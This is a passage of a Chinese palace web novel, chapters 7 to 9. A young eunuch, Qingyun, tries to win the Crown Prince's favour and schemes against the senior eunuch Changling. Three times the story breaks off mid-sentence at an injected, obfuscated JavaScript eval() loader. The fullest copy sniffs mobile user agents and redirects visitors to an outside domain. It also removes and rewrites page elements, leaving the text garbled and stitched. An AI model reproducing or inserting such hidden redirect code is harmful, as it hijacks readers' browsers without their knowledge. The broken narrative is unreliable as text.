如今看来,东宫应是后者,满眼皆富贵,入目俱繁华,卿云没见过什么世面,只觉一双眼怎么都看不尽面前的风景。 长龄见卿云双眼不住贪看,有心又想指点几句,可太子既然亲临,显然是对小太监另眼相看,那他倒还真不好多说了。 如此,长龄扶着卿云进了内殿,李照方才换好一身常服,听闻长龄带着卿云求见,眉头微皱,随又舒展,笑道:“孤就知道,让长龄去教,能教出个什么好来。” 李照转身出去,瞧见长龄搀扶着的卿云额头上渗出一点汗,小脸苍白,眼睛却是亮晶晶的,极没规矩地一见他就盯着猛瞧,浑然不觉身旁的长龄一进内殿便低下了头。 “参见太子殿下。” 长龄扶着卿云行礼,卿云吃力地跪下去,脸上疼得揪紧,又忙舒展了,他瞧见太子的鞋尖出现在视线里,又忙不迭地抬头冲太子看去,挤出个笑脸。 李照脸色倒还不如先前来长龄屋子时好看,他淡淡道:“不是说了,不要行礼。” 卿云见他脸色似有不虞,心中惶恐,眼里立时又盈了泪。 李照视若不见,“用完膳了吗?” 长龄道:“不敢耽误太子时间,先来回了太子再用也不迟。” “看来我说的话,你们是一点都听不进了?” 跟在太子身边多年,长龄一听太子自称和说话的语气,就知道太子并未生气,只是在逗他们,他笑着回道:“哪敢呢。” 卿云在一旁听着长龄的笑语,再看太子不辨喜怒的脸色,脑海中“嗡”的一声,想自己是被长龄这个贱人给糊弄了,太子这是厌恶他了! 卿云想也不想,伸手拽住太子新换的茶白常服下摆,眼中一汪泪,像是含不住般滴滴落下,“太子恕罪,我……我错了……” 李照原只是想逗一逗两人,却没料到初见时瞧着胆大包天的卿云是个不识逗的,眼泪满脸地淌。 李照从未见过有奴才在他面前哭成这般泪人模样,一时也棘手起来,他低头看了一眼卿云死死抓着他外袍下摆的手,真是哭笑不得。 “你错了?”李照忍着笑道,“你错在哪了?” 在面对福海、宫闱令时,卿云尚且有几分急智,因为那些人说到底同他一样都是奴才,可初初面对东宫太子,他心中纷乱恐惧,哪还有什么急智,脑子里一团浆糊,磕磕绊绊道:“我……我这就回、回去用膳……” 李照放声大笑。 一旁的长龄也跟着“噗嗤”笑出了声。 听他笑,李照手指了下长龄,“还笑?我让你照顾他,你就是这么照顾的?” 长龄道:“是太子殿下您说不让奴才教的,奴才也不敢多言。” 李照收回手,淡笑着看向傻眼的卿云,又瞥向卿云仍攥着他衣袍下摆不放的手,“起来吧,孤赏你一顿饭,就在这儿用。” 长龄这才去拉了卿云的手,低声道:“太子赏你呢,还不谢恩?” 卿云手指一点点放开华袍,这下心里全明白了,自个方才是在给这主仆俩当乐子逗呢,他低下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李照自小就有太监在身边伺候,几年前,身边的太监被换过一批,只留下了长龄,他身边的太监都是既伶俐又懂规矩的,年长的居多,长龄已算是能同他玩笑几句的了。 此时见了卿云这般愣头愣脑,连自称奴才都不大习惯的小奴才,李照觉得新鲜,搁了笔,向着卿云招了招手。 卿云一愣,他还不知道要干什么,长龄推了推他,“太子殿下叫你过去呢,你能自己走吗?” “我能!” 卿云忍着疼痛绕过书桌,走到太子面前,太子坐着,他站着,两人却是几乎平视,卿云紧张地看着太子,只等他吩咐。 李照手点了点,让他看他写的字,“认得字吗?” 卿云看了一眼桌上的字,面色微红,轻轻摇头,他不识字,几乎一个字也不识,没人教过他。 李照笑了,“是你的名字,卿云,这是个好名字,谁给你取的?” “是教养我的尺素姑姑。” “这倒是怪事,你一个太监,怎么是姑姑教养?” “这……我也不知道。” 李照笑着摇头,“我倒没想到救回来你这么个糊涂人,”卿云脸色又白了,但听李照道:“罢了,以后你便留在我身边,由我亲自调教吧。” 7.第七回 东宫里没有卿云这般年纪的太监,李照还是让他和长龄住在一块儿,又吩咐人重新给长龄的屋子里添了几样家具物件。 “这可不是赏你的,不许再藏起来不用。” “是,奴才知道,太子殿下这都是赏卿云的。” 长龄笑意盈盈地回话,李照心情也不错,“在宫里,难得他有那般纯稚性子。” “还是个孩子呢。” “你十三的时候可不会动不动就哭。” “那是奴才有太子殿下庇佑。” 李照摇头,“我就不爱听你说这些。” 长龄笑笑,垂下了脸,卿云不记得自己是什么时候进的宫,他却是不敢忘,也不能忘,入宫多年,打小学的那些规矩早就融进了他的骨血里头,在主子面前该是什么样,一丝一毫也不敢僭越。 长龄和卿云相处了几日,就知道卿云一定会讨李照的喜欢,宫中沉闷,能有个鲜活人不容易,他心中没有妒恨,只有欣慰,也有怜惜。 “你身上好些陈年旧伤,在玉荷宫的日子不好过吧。” 卿云伤在背后,只能由长龄帮他上药。 他身上一些零碎伤口都是惠妃那个疯妇抓咬所致,玉荷宫里连吃食都短缺,更不要说药了,自然留下不少印记。 随着挨杖受的伤慢慢好了,也得了太子的允诺,卿云终于从惶惶不安中走了出来,也能平静应对,“那都是过去的事了,以后在东宫,只有好日子。” “你的福气可真不小呢,太子亲自调教,你可要受教啊。” 卿云趴在自个的床铺上,眼珠轻转,软声道:“长龄公公,你成日在这儿照顾我,不去伺候太子吗?” “太子身边有人伺候。” 长龄小心地替卿云涂抹,“我的腿脚也不适宜时时跟在太子身边。” 卿云本是试探,未料长龄会毫不避讳直接言明,这更叫卿云心惊,想长龄这是恃宠而骄了。 前朝太监们的风光,卿云没见着,前朝太监们的手段,卿云也只从惠妃那儿听过,太监们要想夺得荣华富贵,便是要竭尽全力讨得主子的欢心宠爱,只有主子宠爱,才能在宫中有一席之地。 只要博得太子的宠爱,他便可像长龄这般嚣张,太子说要亲自调教他……卿云心中忐忑,一时觉得这是太子恩宠,一时又怕是否自己太过粗鄙,叫太子所不喜,故而要太子亲自调教。 卿云虽年有十三,却还不如方进宫一两年的小太监懂得宫中人情事故,盖因长困玉荷宫,身边除了惠妃这个疯子,从未与人长久相处过,凡事都得自己琢磨,如今来到东宫,便是一番新天地,可再与从前不同了。 如此又休养了几日,卿云终于能下得了地,便迫不及待地央求长龄想去伺候太子,怕太子把他忘了。 长龄知他心意,趁一日风和日丽,便将卿云收拾了一番,带入内殿。 卿云又忍不住贪看,只觉眼花缭乱,目不暇接。 内殿的太监瞧着和长龄一般大,皆恭恭敬敬、俯首帖耳,听着长龄说道:“这位便是卿云公公,太子亲自救下,指名了要在身边调教伺候的。” “卿云公公好。” 几个太监垂首拜了卿云,这点礼数卿云还是懂得,连忙回礼道:“不敢不敢,还请各位公公多多提点。” 长龄一一将几人的名讳报了,又拉了卿云到一侧细细叮嘱,只叫他务必懂事听话,卿云皆都应了。 “那么,你便待在太子书房等候太子议事回来吧。” 长龄替卿云整了整衣冠,最后嘱咐道:“别乱看、也别乱动,记着了吗?” “我记着了。” 长龄也不纠正他,便退了出去,只留卿云一人在太子书房。 书房内烟气袅袅,卿云站在一侧,真如长龄所说那般垂首不动,不乱看也不乱动了,他下定决心要博得太子宠爱,必得先借长龄这块踏板一用,只不知长龄心性如何,会不会害他,心里也一直提防着。 卿云站了不知多久,只觉书房内外都安静极了,外头几个太监一丝声儿也不出,整个东宫都像是死的,他站着站着便觉得累,这几日总趴着,原本没二两肉的身子倒是长出了一点肉,身上软绵绵的,真想躺下。 玉荷宫里可没有这样站桩的规矩,卿云只觉脚底板像是要着火似的疼,比之那日等待太子时还要难捱。 兴许是那时心里撑着,总要见到太子才好,如今已留在了东宫,又过了两天好日子,就变得娇气起来。 卿云心中暗骂,想长龄是不是有意磋磨,他忍耐着,又不知熬了多久,实在立不住,便弯了弯腿,这一弯不打紧,浑身的力全泄了,一双眼直勾勾地盯着太子的椅子瞧,那椅子好大,别说坐,他便是躺也够了。 卿云悄悄转头,外头日头渐高,绿纱窗里日光丝丝透入,照在窗边绸缎软榻上,卿云瞧得出神,人虽未动,魂早已飞到那处躺着了。 肚子里咕噜一声,卿云按了下肚子,他今日要伺候太子,这才学的规矩,原来便是在东宫,也是吃不饱饭的,吃得多了,万一忍不住要去更衣,还怎么伺候主子?他早上也不过吃了一点素面,长龄说这样干净。 卿云又饿又累,前几日还觉着在东宫是神仙日子,这便又开始不忿,只羡慕长龄,来去自由,也不必干活,现下应当是在自己屋子里享福吧? 还是得讨太子的欢心。 卿云振作起来,又提了口气,勉力站好。 如此来来回回数次,卿云一会儿泄气,一会儿又勉励自个,站得笔直,挨得恍惚之间,终于听得推门声,他喜出望外地扭头朝着书房门望去,却见两个太监一左一右地张开门,太子李照从中间走入,一主一奴,四目相对,李照怔住,像是没料到卿云会在此处,卿云却是喜得泪都快掉下,他实在等得好苦。 李照走入书房,身后两个太监悄无声息地把门关上。 卿云如梦初醒,连忙躬身行礼,“参见太子殿下。” “你身子好了?” 卿云听李照语调和缓,不由抬起脸,李照目光温和,正含笑看着他。 “已经大好,可以伺候太子了。” 李照瞧他那副喜不自胜的模样,心中觉得好笑,“哦?你要怎么伺候孤啊?” 卿云一时有些慌了手脚,又立即镇定下来,“但凭太子吩咐。” 李照抿唇笑着:“你会什么?会磨墨吗?” 卿云傻了,“我、我……” 李照又道:“会泡茶吗?” 卿云又慌了神,他想起太子说的话,终于改了口,“请太子殿下调教。” 李照微一颔首,手负在身后,绕过卿云走到卿云盯了许久的软塌上坐下,卿云一直瞧着,人也跟着李照转了一圈。 李照靠在软塌上,仍是含笑看着卿云,他生得清俊温雅,雍容华贵,并不苛刻严酷,如此模样却叫卿云一颗心悬在半空,生怕自己哪里做得不好,叫太子厌弃,被逐出东宫。 卿云心里头很明白,他喊出夹带之事已是得罪了许多人,如今有太子保他,自可相安无事,若是出了东宫,必定死无葬身之地。 福海死了,王满春还活着。 这般念头一起,卿云眼中不自觉地带上了些 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卿云试探着轻轻抿了一口,茶很香,但他也品不出什么好滋味,只确实渴了,抿那一口倒勾得他焦渴更甚。 “好喝吗?” “好喝。” “好喝在哪?” 卿云眨了眨眼,嘴唇微微颤抖,眼中又露出哀求之色,还是硬着头皮道:“太子殿下赏的,自然是好的。” 李照实在忍不住了,便仰倒下去,以掌覆面,轻轻笑着。 卿云捧着茶碗不知所措,但见李照两根手指放开,露出一只左眼,“我瞧你嘴都干了,想喝就全喝了吧。” 卿云心中七上八下,眼睛试探着看了李照好几眼,抿了口茶,又抿了口茶,见李照始终含笑看他,这才将一杯茶慢慢饮尽。 “殿下,我喝完了。” “喝完就放下。” 卿云把茶碗放了回去,垂着手仍跪着,他不常行跪礼,身上伤又还未好全,只跪了这么一会儿,膝盖和腰就都有些受不住了,他余光瞥太子,太子慵懒地躺着,双手叠在腰腹上,望着绿纱窗,不知在想什么,只卿云觉着他那姿态舒展恣意,恨不能也跟着躺下。 “你师傅的事,你也别太难过。” 卿云听李照淡淡道,他神情一怔,想起长龄说内侍省中一番调查,最终还是没处死王满春,只将他降为最低等的洒扫太监,这已是极严重的惩罚。 “内侍省的事,太子原是不该插手的,”长龄特意叮嘱他,“你可千万别怨太子。” “我不会怨太子。” 这是一句真心实意的话,瑞春死得好,他才不在乎那些。 卿云明白太子救他,是为他忠义,故而在太子面前他不能露出那般心思,于是道:“太子救我,已是恩典,不敢再因师傅的事烦扰太子。” 李照转过脸,卿云目光如水地望着他。 李照笑了笑,伸手捏了下卿云的脸,“怎么面上都没点肉?” 卿云和李照接触这几下,已是放松了不少,也微微笑了笑,只不作回答,李照脸上神情探究,沉吟片刻后道:“你过来。” 卿云一脸糊涂地看着太子,想他不是已经跪在榻边了吗?李照见他懵然,便自个往榻边挪了挪,手指又抬了卿云的下巴,将卿云一张小脸凑到面前,卿云闻到太子身上香气,不由屏住了呼吸。 李照仔仔细细地盯着他瞧了一遍,分出另一只手,指尖点了下卿云的眉峰,小太监眉毛细软,小绒毛一般,“你这儿,藏了颗红痣。” 8.第八回 几个太监鱼贯而入,训练有素,三人替太子更衣,一人磨墨,一人端了新的茶和点心进来,一人去灭了香,又重新点香,卿云什么也不会,也插不上手,只站在一旁眼巴巴地瞧着。 李照接了帕子擦脸,刚把擦完脸的帕子递出去,卿云眼疾手快,忙上前托住了,李照瞥他一眼,卿云还未反应,一旁的太监已又从卿云手上把那方帕子抽了出去,卿云手悬在半空,只好又悻悻收了回去。 太监们忙完了,又一字排开,后退着出了书房。 卿云不知自己是否也该跟着退出,又心有不甘,只拿一双眼睛不住地觑李照。 李照在卿云眼热的那张椅子上坐下,冲卿云招了招手,卿云忙又过去,李照道:“你上回说你不识字?” 卿云轻点了点头。 如今宫里不比前朝,太监们大多也只略识得几个字,不耽误办差就行了,低等的杂役太监大字不识也是寻常事。 “我教你。” 卿云瞪大了眼睛。 李照笑了,“怎么?你不肯?” “不,我、奴才……” “过来。” 李照展开手,卿云有了方才的例子,便大胆地走了过去,李照按了他的肩膀,让他坐上了瞧了快一上午的椅子,椅子真硬,没他想得舒服,他本就年岁小,在玉荷宫里又饭食短缺,比同龄人长得要瘦小许多,坐在椅子上整个都被太子圈在了怀里。 李照握了卿云的手去拿笔,卿云木偶似的,全由李照摆布。 “你的名字未免太难,我先教你三字经,如何?” 李照在他耳边道。 卿云不知道什么是三字经,连声应了,只觉太子握着他的手又大又有力,那笔在他手中僵硬得很,他手攥得紧,李照便叫他放松,他手一松,笔险些掉下去,太子大掌抓住,又笑:“怎么那么笨。” 卿云又羞又气,低头不语,手掌攥着笔,不想写字了。 李照浑然不觉,握着卿云的手写下了个“人”字,“这个字,是‘人’,就是你。” 卿云写字的时候手抖得厉害,写完了,他也分辨不出好坏,只盯着那字看,心里又渐渐欢喜起来,他会写字了! 李照脸侧着,双眼看着卿云的脸,见他喜意盎然,高兴起来眉眼飞扬,浑不似个小太监,倒有些像宫中御苑里养的那些幼犬,必得是幼犬,刚出生没几天的,否则时日长了,训成了猎犬,就也性子沉稳下来,和这宫里所有的活物一样,循规蹈矩,失了生气。 卿云正高兴着,一时不查,肚子里忽然‘咕噜’一声,他吓了一跳,慌忙扭头看向李照,李照听见了,莞尔一笑,“怎么?又没用膳就来伺候了?” 卿云低声道:“用了的。” 李照挑了下眉,放开卿云的手,手掌圈了圈他的手臂,又捏了捏他的肩膀,只觉卿云身上薄皮痩骨,当真是纤细得可怜,他放开卿云,手指了桌上的点心,“吃吧。” 卿云看向李照,像是想要分辨李照此话是真是假。 李照脸上笑意温和,“不够还有。” 卿云眨了下眼睛,他那双眼生得分明,不知怎么,总是水盈盈的,像是委屈,也像是可怜,他低头,用袖子抹了把眼睛。 李照轻笑道:“怎么又哭了?” 卿云不语,只用袖子来回抹着眼睛,李照从未见过有人在自己面前这般,沉吟片刻后,又伸手把人拽了回来,提起人抱在椅子上重又圈入怀中,“哭什么?” 卿云手放下,眼睛看向李照,果然是含了泪,“从来没有人对我这么好。” 这话当时当下,卿云是真心说的。 出玉荷宫前,在这宫里,他只认得三个人,尺素、瑞春、惠妃,没人算得上对他好的,小心翼翼地出了玉荷宫,卿云也不敢乱跑,他心里是怕人的,许是和惠妃处得久了,被惠妃那疯劲给魇着了,总疑心别人要害他,遇上个福海,果真是要害他。 等入了东宫,长龄倒是也待他好,可卿云觉着长龄心里藏着坏,他们都是东宫太监,迟早要争高低,哪里有什么真心实意。 可是太子犯不着假装骗他,他是太子,全天下除了皇帝,就数他最尊贵,这么尊贵的人若是对他好,那便应是没有包藏什么祸心了。 “你在玉荷宫里日子过得很苦吗?” 李照拿了帕子给卿云,让他自己擦脸。 卿云乖乖地擦了脸上的泪,“不苦,”又拿眼看太子,“太子把我带回了东宫,我就不苦。” 李照并非自小就是太子,他三岁时当今皇帝起兵清君侧,他随之也过了一段颠沛流离的日子,也是见过民间疾苦的,他轻轻叹了口气,“快吃吧,吃饱了才好接着伺候。” 当夜,李照睡前召见了长龄,别的不提,只说:“他年岁还小,正是长养的时候,别让他饿肚子。” 长龄应了声“是”。 回到屋中,卿云已然躺下,他这一天都跟着太子,太子待他非常宽厚,不仅教他写字,让他吃了点心,还赐了他午膳和晚膳。 除却这些恩典之外,卿云这一整天几乎都傻站着,太子要处理的事务有许多,从早忙到晚,卿云在旁站着,太子累了,就招他过来说上两句话,太子似乎很喜欢同他说话。 “卿云。” 长龄轻轻唤了一声,深色床铺中探出一张白生生的小脸。 长龄过去在卿云床边坐下,柔声告诉他:“太子方才吩咐我,以后早膳要让你吃得饱了再去。” 卿云心中得意,面上忍住了,“太子仁厚。” 长龄替他掖了掖被子,瞧他一头乌发如团云,整个人小小的,眼珠子漆黑发亮,他露齿一笑,“太子喜欢你。” 卿云想也是,他道:“长龄公公,你会泡茶磨墨吗?” “那是自然。” “你能教教我吗?” 长龄拒绝了。 “你是由太子亲自调教的人,我怎么敢教你。” 卿云心下一哂,装作懵懂,“太子今天教我写字了,长龄公公,你会写字吗?” 长龄莞尔一笑,“会啊。” 卿云道:“也是太子教你的?” 长龄回避不答,他似不想多说这事,替卿云掖了掖被子,“太子既然喜欢你,明日你便去伺候太子晨起吧。” 卿云立即紧张起来,“可我还不知道怎么伺候太子。” 长龄道:“你从旁学着就是,太子吩咐你做什么,你便做什么,放心,太子从不苛待宫人。” 卿云想起今日那些太监伺候太子,他全插不上手的模样,心道是该好好学,不学如何讨得太子欢心,把长龄给挤下去? “多谢长龄公公。” 长龄打了水洗身,卿云先前从未见过其他太监的身子,如今和长龄同居一屋,互相都看了几回,卿云对长龄很是嫉妒。 同为太监,长龄却不似他那般孱弱,就是和东宫其他太监相比,也高大威武许多,他背对着卿云,屋内只点了根蜡烛,昏昏暗暗的,卿云瞧着他的肩膀后背还有那屁股腿儿,心里说不出的羡慕,便是那条残腿也只是一道长长的旧伤痕罢了,瞧着很是有力。 长龄洗漱完,吹了蜡烛,上床后还不忘对卿云道:“安心睡吧,明日我来叫你。” 卿云哪里会就这般安心睡下,也是在玉荷宫里和惠妃那疯婆子待得久了,总要日夜提防她何时发疯,夜里一直半睡半醒的,长龄一起身,卿云就听见了动静,只假作酣睡,不多时,他便觉察到床边有人坐下,他久久等不得长龄唤他,心道贱人果然使坏。 卿云心里有了计较,便先翻了个身,嘤咛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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太子晨起,一共有八个太监伺候,卿云站在末尾,孤零零的一个,琢磨着长龄方才那些言行举动,疑心他是要捧杀自个儿,叫其他太监们对他心生不满,好借刀杀人,心中万分警惕,规规矩矩地安静跟在人后,不发一言。 李照已经醒了,他听到了外头的动静,起身时便道:“一大早的,在外头嘀咕什么呢?” “太子殿下恕罪,是长龄公公来了。” “长龄来了?” 卿云听出太子的语气一下便温和起来,“那他怎么不进来?” “长龄公公是带着人来的,卿云——” 卿云被点到姓名,忙不迭地上前,他抬眼看向太子,却见太子正敞着胸膛,他便好奇地多看了两眼,普通男子和太监相比果真又要强健英武许多。 “你怎么来了?” 卿云听得太子问话,这才连忙将视线移到太子面上,李照目光淡淡,瞧不出喜怒,卿云心下慌乱,轻声道:“我来伺候太子。” 一旁太监听他自称,不动声色地瞥了一眼,却听太子语中带笑道:“来伺候我?莫不是来分我的早膳?” 卿云面上大为窘迫,嗫嚅道:“我吃饱了来的。” “真的?”李照懒懒道,“过来。” 卿云挪步过去,李照抬手,掌心覆在卿云肚子上,卿云没防备,“呀”了一声,不假思索地抬手按住了李照的手掌,心中又是一慌,抬眼看向李照。 被奴才抓了手,李照也不恼,在卿云那肚子上揉了两下,便道:“今日早膳多备些,”他对着卿云的眼睛笑,“肚子还瘪着呢,说什么饱。” 9.第九回 东宫里新来了个得宠的小太监,这事不过几日,东宫上下都传了个遍。 小太监年纪小,生得灵秀标致,太子喜爱,除却上朝议事,总要人在身边,也不叫他伺候,只一味赏赐,虽说就是些饭食,也足够叫人眼热,而那小太监还同太子最宠爱的内侍长龄住在一屋,更是叫东宫其余的太监都侧目不已。 卿云自然知道自己如今受宠,也着了那些太监的眼,但也无甚所谓,他们或是羡慕或是嫉妒,却也不敢在他面前造次,见了他,还不是得恭恭敬敬地称一声“卿云小公公。” 东宫里太子最大,只要太子喜欢他,旁人也只能是眼热,便如惠妃所说,先帝宠她时,她在宫中横行无忌,连皇后都不放在眼里。 卿云跪在地上替太子戴好玉佩,抬眼看向太子。 李照淡笑道:“不错,又有长进了。” 李照去上朝了,卿云得以返回屋内休息,他进去,见长龄正不知在纸上写些什么,便倒了杯茶过去,“长龄公公,喝茶。” 长龄抬头冲他笑笑,“我不渴,你喝吧,伺候太子累着了吧?” “不累,”卿云道,“今日帮太子系了玉佩,太子又赏我了。” “那便好。” 长龄低头继续书写,卿云从旁看着,字都不认识,故而也看不懂他正写什么。 那日太子说教他写字,也只教了他一回,后再没提起。 卿云原也不见得多想学写字,只因长龄会写,他便也想要学,长龄会什么,他也悉数都得学会才好。 长龄写了两行,见卿云始终站着不动,一抬眼,卿云正看着他写好的字,眼睛眨也不眨,觉察到长龄的视线后,卿云才又望了过去,“长龄公公,你的字写得真好。” 长龄微微一笑,“太子的字才是精妙。” 卿云不愿承认太子只教了他一回就罢了手,“太子事忙,不敢时时叨扰,但求长龄公公指点。” 长龄沉吟片刻,还是拒绝了,“太子既说亲自调教你,我们这些奴才便不好插手,你且耐心等着,太子总有空闲的时候,要是我教了你,反倒令太子不喜。” 长龄既不肯教,卿云也没法子,他初来乍到,每日除了去太子那伺候,便是回屋里待着,也不大接触其余太监,他也瞧不上那些人,只如此,未免孤立无援,卿云心中有了计较,便收拾了些昨日太子赏的点心去了其余太监居住的下房。 “哟,这不是卿云小公公嘛?” “卿云小公公,今日可真精神。” “卿云小公公这是来找谁?” 众太监们对这太子新宠无不堆起笑脸,热情相迎,卿云心里头舒坦极了,面上仍作谦逊模样,“前几日身上一直不爽利,也不敢来扰各位公公,今日终于得了空,来拜见各位。” 卿云作势行礼,众人连忙弯腰作揖。 “这是昨儿个太子赏的点心,大家一块儿用吧。” 卿云打开食盒,拿出几碟点心,众人又是一阵千恩万谢,卿云立在一旁,同众人说笑一阵后便离开了,方才笑容满面的太监们脸上才慢慢褪去了笑意。 不知是谁先道:“狗养的东西,跑这儿装相来了,我呸!” “小点声,万一叫他听见了,小心他不饶你,你不知道吗?福海可是被活活打死的。” “哼,他倒真不怕死,竟敢得罪王满春。” “也是他命好,遇上了咱们太子,贱命能受得住那福气吗?” “……” 一个冷宫杂役小太监一步登天成了太子近前的新宠,怎能不叫人妒恨? 众人一阵嚼舌,终也无奈,也有几人起了心思,想卿云毕竟年幼,不若多亲近些,哄得他高兴,说不准也有机会在太子面前露脸,又想起福海下场,不免对卿云又生出几分悚意,不敢真去接近。 太子宽仁,又是天上的人,不知奴才狡猾,小太监们可是早有议论,不说旁的,竟敢当众咬出夹带之事,这不是个奸狠的,就是个痴傻的,众人都觉着那小太监眼下虽是看着得宠,也难长久,太子不过就是当个新鲜玩意,猫儿狗儿似的逗着,能宠他到几时? 卿云悄悄躲在下房拐角处,将众人议论听了个一清二楚,心中恼恨不已,冷着脸提着食盒转身,又碰上两个回下房的小太监,见了他便眼前一亮,口中欢欢喜喜地同他招呼,“卿云小公公。” 里头立即静了。 卿云淡淡一笑,“我方送了些点心来,快进去吃吧。” 卿云提着食盒回到屋里,长龄又不在了,他放下食盒,在屋中困兽般地转了两圈,随即扑倒在床上,心中邪火上窜,恨不能回去一把火烧了下房。 被众人妒恨,这在卿云的预料之中,可真听到了那些难听的话,他也依旧是恼恨不已,兼还恨上了长龄。 长龄在东宫可不只是个受宠的摆设,东宫多少事务都要由他安排,那些太监们敢在背后编排他,却是不敢对长龄放一个字的屁,可恨他如今空有太子的宠爱,手中无甚权力,治不了他们。 卿云心中恨极了,恨那些人饶舌,也恨长龄有他没有的,他到底也恨不了太久,太子要上朝回来了,他得紧着过去伺候。 李照每日下朝之后,或早或晚,回了东宫便习惯先用一盏茶,然后洗漱更衣,他素喜洁净,况且天也越来越热,出了汗,身上便不大舒服。 卿云仍是不会泡茶,这一盏茶泡得不好,宁愿不出手,李照也只喝得惯几个人泡得茶。 今日议事,又是一片纷乱,丹州缺银缺粮,还有蝗灾之相,加急的奏疏堆满了皇帝案头,需得再加派人手,上回朝廷已经派了人过去,却是不中用,这回必定要选定了人,否则一而再再而三,有损天威,为这赈灾的人选,李照和李崇又有了分歧,他这兄长一贯冷傲,绝不会因他是太子而有分毫退让。 李照揉了揉额头,他神情若有所思,面色沉沉的,只不言语,殿内的众人也都屏住呼吸,只当自己是根无声无息的木头。 卿云也随大流低着头,却又按捺不住,拿余光悄悄瞥李照。 李照正在思索,随即便感到了卿云那道视线,寻常时候,李照并不介意卿云那一双眼睛没规矩地冲着他瞧,他觉着率真可爱,然而他此时正想国事,对那窥探视线便生出了些许反感,他眼皮一抬,眼神扫过去,卿云接触到他的目光,先是一愣,随即以为李照是叫他过去的意思,便赶忙提步轻轻走了过去。 李照静静地瞥着立在他跟前的卿云,卿云不知李照叫他过去有什么吩咐,他瞧着桌上茶未动过,便大着胆子端起茶,“太子,喝茶。” 李照瞥向他的手,卿云生了一双小手,双手托着玉色茶碗,比茶碗大不了多少。 “放下吧。”李照淡淡道。 卿云抬眼觑他,李照平素里总是爱笑的,他不笑时也是君子端方温雅面孔,不显严苛,卿云入东宫以来,从未见李照动过怒,便是那日在听凤池附近,李照问话时也是和颜悦色,他对太子心中已不知不觉少了许多畏惧,听了太子的话,把茶放下,又轻声道:“太子殿下可是有心事?” 李照一眼扫过去,“你说什么?” 卿云瞥了他,见他面上仍是常日里的温和,便道:“太子您回来之后便一直不说话,就这么坐着,是今日上朝有什么让您不悦之事吗?” 书房内寂静极了,几个太监都把头垂得低低的,却听太子轻轻一笑,“你倒很会察言观色。” “因我眼中全是太子,”卿云着意讨好,双眼眨也不眨地看着李照,“想为太子分忧。” 李照盯着卿云那双眼睛,心中思绪几番,蓦了,终还是又笑了笑,“你一个小奴才,如何为我分忧?” “但凭太子您吩咐!” “那你替我喝了那茶吧。” “太子您不喜欢这茶吗?” 卿云重又捧起茶,对李照道:“太子您喜欢什么样的茶,我去学来泡给您喝。” “我喜欢什么茶,你问长龄就是了。” “长龄公公说我是太子殿下您说了要亲自调教的,他不敢越权。” 卿云抿了口茶,细细咂摸了两下,“太子殿下,今日这茶和昨日的一般苦,怪不得您不爱喝。” 李照莞尔,“你不懂茶之清味,这不是苦。” 卿云也笑了,“太子,您吃点心吧,点心甜。”他一面说着一面又端起点心,却见李照仍笑微微地看着他,可不知怎么他却心下一突,忽而紧张起来,一颗心像是被硬生生地从胸膛里提到了半空,捧着点心的手也不自觉地抖了。 “赏你了。” 李照笑道。 “下去吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16011046|177769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卿云面色一白,心中涌上许多不安,却也不敢违抗李照的命令,微一躬身后便捧着点心退了出去,退出书房时,脸上仍作出骄傲得意模样,他是受了赏出来的,合该如此。 随后,卿云便听里头低沉一声。 “叫长龄过来。” 卿云满面春风地回了住处,关上门,人站定了,目光盯着手上的点心,忽得脸上一阴,狠狠地将手里的托盘点心一气砸了! 一直等到傍晚,天擦黑时,长龄才回到房里,卿云早已将地上狼藉收拾干净,他听到长龄的脚步声便率先迎了上去开门。 长龄方瞧见他,面色便露出些许怜爱不忍,卿云心下觉着要糟,一双眼哀怨哀求似的望着长龄。 长龄道:“用晚膳了吗?” 卿云摇头。 长龄道:“我去膳房给你拿些吃食。” 他方要转身,却被卿云拉住了袖子,只得回头。 “长龄公公,”卿云声音发颤,“太子殿下是不是恼我了?” 长龄道:“先用膳吧。” 卿云心如死灰,却还不肯罢手,死死地揪着长龄的袖子,“太子殿下生气了?他说什么了?我哪里做错了吗?” 长龄斟酌片刻,缓声道:“太子殿下从不跟奴才置气,你放心吧。” 卿云哪能放心,长龄却是拉开了他的手,去膳房端了饭食回来,叫卿云先吃,他已吃过了。 卿云心中又酸又妒,想长龄一定是在太子那吃了。 从前在玉荷宫时,卿云曾发愿只要能顿顿吃上饱饭,他便心满意足再无他求,如今入了东宫,方才一月有余,他不仅顿顿吃饱,还吃得很好,平时太子常有赏赐自不必说,膳房里的吃食也是随便取用,可他现在却是食不甘味,味同嚼蜡,勉力用了一些就放下了。 长龄虽是东宫里管事的大太监,屋里却没有小太监伺候,凡事都是亲力亲为,哪怕卿云来了,也是他照顾卿云,不过他却不以为苦,反以为乐。 要了一些热水,长龄把热水倒进浴桶里,却见卿云孤零零地坐在床沿,耷拉着脑袋,说不出的丧气,他心下一软,轻轻走过去。 “别难过,”长龄替卿云摘了幞头,又替他散了发髻,轻抚他的头发,“太子殿下还是喜欢你的。” 卿云心中正忧愤难当,心道谁要你假惺惺!只也不作声。 长龄轻叹了口气,手搀着卿云起身,引他走到木桶前,一面帮他解腰带衣物一面道:“太子性情宽厚是不假,可他是太子,做奴才的,在主子面前要有分寸,这个分寸得你自己去拿捏,你若不想出错,规矩一点便是了。” 